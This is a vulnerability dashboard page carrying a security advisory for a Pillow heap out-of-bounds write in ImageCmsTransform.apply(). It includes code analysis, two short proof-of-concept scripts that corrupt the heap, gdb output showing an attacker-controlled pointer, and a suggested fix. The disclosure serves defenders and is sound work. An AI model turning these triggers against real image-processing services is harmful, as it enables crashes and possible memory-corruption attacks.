Kestrel
대시보드로 돌아가기
CVE-2026-59205HIGH· 7.5MITRENVDGHSA대응게시일: 2026. 07. 14.수정일: 2026. 07. 20.

Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch

Memory-Corruption

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS
0.4%상위 68.8%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

Summary

Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger
controlled native heap corruption when the caller supplies an output image whose
mode does not match the transform's declared output mode.

For example, a transform built as RGBA -> RGBA can be applied to an L output
image. Pillow checks dimensions only, then calls LittleCMS with the output row
pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.

Details

src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller
supplied imOut:

python
1def apply(self, im, imOut=None):
2 if imOut is None:
3 imOut = Image.new(self.output_mode, im.size, None)
4 self.transform.apply(im.getim(), imOut.getim())
5 imOut.info["icc_profile"] = self.output_profile.tobytes()
6 return imOut

If imOut is provided, Pillow does not check:

text
1im.mode == self.input_mode
2imOut.mode == self.output_mode

The C wrapper in src/_imagingcms.c unwraps both image cores and only checks
that the output dimensions are at least as large as the input dimensions:

text
1static int
2pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
3 if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
4 return -1;
5 }
6
7 for (i = 0; i < im->ysize; i++) {
8 cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
9 }
10
11 pyCMScopyAux(hTransform, imOut, im);
12 return 0;
13}

findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS
TYPE_RGBA_8, which writes 4 bytes per pixel:

text
1case IMAGING_MODE_RGB:
2case IMAGING_MODE_RGBA:
3case IMAGING_MODE_RGBX:
4 return TYPE_RGBA_8;

So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 * width
bytes to each output row. If the supplied output image is mode L, Pillow only
allocated 1 * width bytes for that row.

For width 4096:

text
1destination row allocation: 4096 bytes
2LittleCMS write size: 16384 bytes
3overflow: ~12288 bytes past the row

The bug does not require a large image. Width 8 was enough to corrupt heap
metadata. At width 8, apply() returned to Python and printed after; glibc
detected the corrupted heap later during cleanup.

PoC

Tiny heap corruption trigger:

python
1from PIL import Image, ImageCms
2
3srgb = ImageCms.createProfile("sRGB")
4transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
5
6im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
7out = Image.new("L", (8, 1), 0)
8
9print("before", flush=True)
10transform.apply(im, out)
11print("after")

Observed locally on Pillow 12.3.0.dev0:

text
1before
2after
3free(): invalid next size (normal)
4Aborted (core dumped)

Controlled overwrite evidence PoC:

python
1from PIL import Image, ImageCms
2
3srgb = ImageCms.createProfile("sRGB")
4transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
5
6im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
7out = Image.new("L", (4096, 1), 0)
8
9transform.apply(im, out)

Run under gdb:

text
1gdb -q --batch -ex run -ex bt --args \
2 python3 b022_controlled.py

Observed on Pillow 12.3.0.dev0:

bash
1Program received signal SIGSEGV, Segmentation fault.
2___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
3#1 _cmsLockPrimitive (m=0x4443424144434241)
4#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
5#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
6#4 cmsSaveProfileToIOhandler(...)
7#5 cmsSaveProfileToMem(...)
8#6 cms_profile_tobytes (...) at src/_imagingcms.c:152

0x4443424144434241 is the attacker-controlled source pixel pattern
b"ABCDABCD" interpreted as a little-endian pointer-sized value.

Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of
0x403020104030201, matching the repeated pixel bytes.

Impact

This is a heap out-of-bounds write in Pillow's native ImageCms extension,
reachable through public API.

Applications are impacted if untrusted users can control ImageCms transform
parameters and/or provide the output image object passed to
ImageCmsTransform.apply(). The source image pixels influence the bytes written
out of bounds.

Suggested fix

Validate modes before calling into the native transform:

python
1def apply(self, im, imOut=None):
2 if im.mode != self.input_mode:
3 raise ValueError("input mode mismatch")
4 if imOut is None:
5 imOut = Image.new(self.output_mode, im.size, None)
6 elif imOut.mode != self.output_mode:
7 raise ValueError("output mode mismatch")
8 self.transform.apply(im.getim(), imOut.getim())
9 imOut.info["icc_profile"] = self.output_profile.tobytes()
10 return imOut

The C extension should also defensively reject mismatched image modes before
calling cmsDoTransform().

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.